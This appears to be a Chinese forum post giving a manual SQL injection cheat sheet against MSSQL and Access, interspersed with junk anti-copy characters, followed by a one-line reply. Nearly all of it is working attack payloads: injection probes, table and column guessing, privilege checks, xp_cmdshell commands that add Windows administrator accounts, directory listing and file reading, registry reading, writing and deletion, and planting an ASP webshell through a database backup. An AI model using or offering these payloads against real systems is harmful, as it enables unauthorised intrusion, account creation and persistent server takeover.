手工脚本注入

admin

手工脚本注入
6 L6 r1 {2 f8 l' `* }! W3 @) e! y0 L1.判断是否有注入;and 1=1 ;and 1=2
$ I2 m4 T& j$ F3 r
2.初步判断是否是mssql ;and user>0

& o& \* V7 O0 A; h! q! s3.注入参数是字符'and [查询条件] and ''='
1 q" b! M# H3 Q6 H) X4 K
4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0
# ~' g7 a" o) r# s+ B  ?+ V
# f' y6 O  r% j2 \7 W6 O7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
# z2 b, `. A: s5 m" s8 h$ [;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; C% I! E4 N$ r& ]- C, ?: E2 [5 a
(2)猜字段的ascii值（mssql）
7 G# T) L1 ?9 n$ Z/ r& ~5 `;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

+ J8 Y& k- B- R* B6 T10.测试权限结构（mssql）
. e2 ^! ~- a. a. P; ~0 f' y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# [# J/ |5 ]" H) A9 L;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; V' O5 s- @  S- C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
2 B9 E) y+ b% s4 _1 j2 R: J;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- a0 s3 a1 `6 J;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

2 |7 r1 E5 O; r1 B* y4 ?! `11.添加mssql和系统的帐户
. l1 w3 Q, m7 g  P% a( W;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--
( x: h0 ^- V* i$ e* p+ b
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; d' F( J$ i6 p0 k
( _  b3 Q! K% x4 f/ D; c;exec master.dbo.xp_cmdshell 'net user username password
' t, u! {- G& ]/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ b5 }! ?* K. J1 ?
0 i1 }) z3 d6 `( x- q- g, w* N;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
/ @: W9 v' m' m8 q8 C
, {  _$ \# I8 M9 B$ ^;create table dirs(paths varchar(100), id int)
5 M: \' ]* e$ t3 E8 G$ Q; d;insert dirs exec master.dbo.xp_dirtree 'c:\'
! Y" F7 O  V% k3 t# W;and (select top 1 paths from dirs)>0
1 o: M: }1 t! L! y" e( s4 L;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
7 M' C) `2 q! o5 p5 A5 f! H- |9 X;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ ]1 U- {( I* Q;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 g- r& L* F1 W+ g( m
) R, }+ n- g; E0 j/ W, E13.mssql中的存储过程

3 m6 M9 P9 F9 Fxp_regenumvalues 注册表根键, 子键
5 {# E9 W. z8 u' l# F% J;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
# o6 r1 u2 x& K  {'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. W6 d$ x! |$ n2 B- L4 J
xp_regwrite 根键,子键, 值名, 值类型, 值
8 C1 v4 j: m" R. V值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' F0 q0 _/ f9 p$ v7 f;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
: y1 i& f: q% \1 c) x; q* m: u
xp_regdeletevalue 根键,子键,值名
  D& o/ L- Y0 ?2 }
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

9 O' i+ k4 v, C4 v; Exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

+ _5 I' j3 u1 K  L  c14.mssql的backup创建webshell
use model
) f7 K- y, }" ^6 e6 _6 qcreate table cmd(str image);
' _- W" t( v) w2 S+ ^* b& S0 cinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 h* Y3 l/ ]/ W5 y. M;and (select user_name())>0 爆当前系统的连接用户
& h) v# C( P! q" v2 i;and (select db_name())>0 得到当前连接的数据库

/ N2 G8 T5 ]) [) `  ?16.简洁的webshell
' L! k6 k3 ?8 e2 ^- c
use model
; E& D3 C1 f% I: g
create table cmd(str image);
  w2 ~8 A0 {5 C  W1 ~: K
; F/ Q2 J( p$ w+ B8 z& |0 }1 Tinsert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';
/ A0 T- b) c5 Z6 y" y- }  P) ^

老男孩

现在很多防注入啊，有其他注入字符码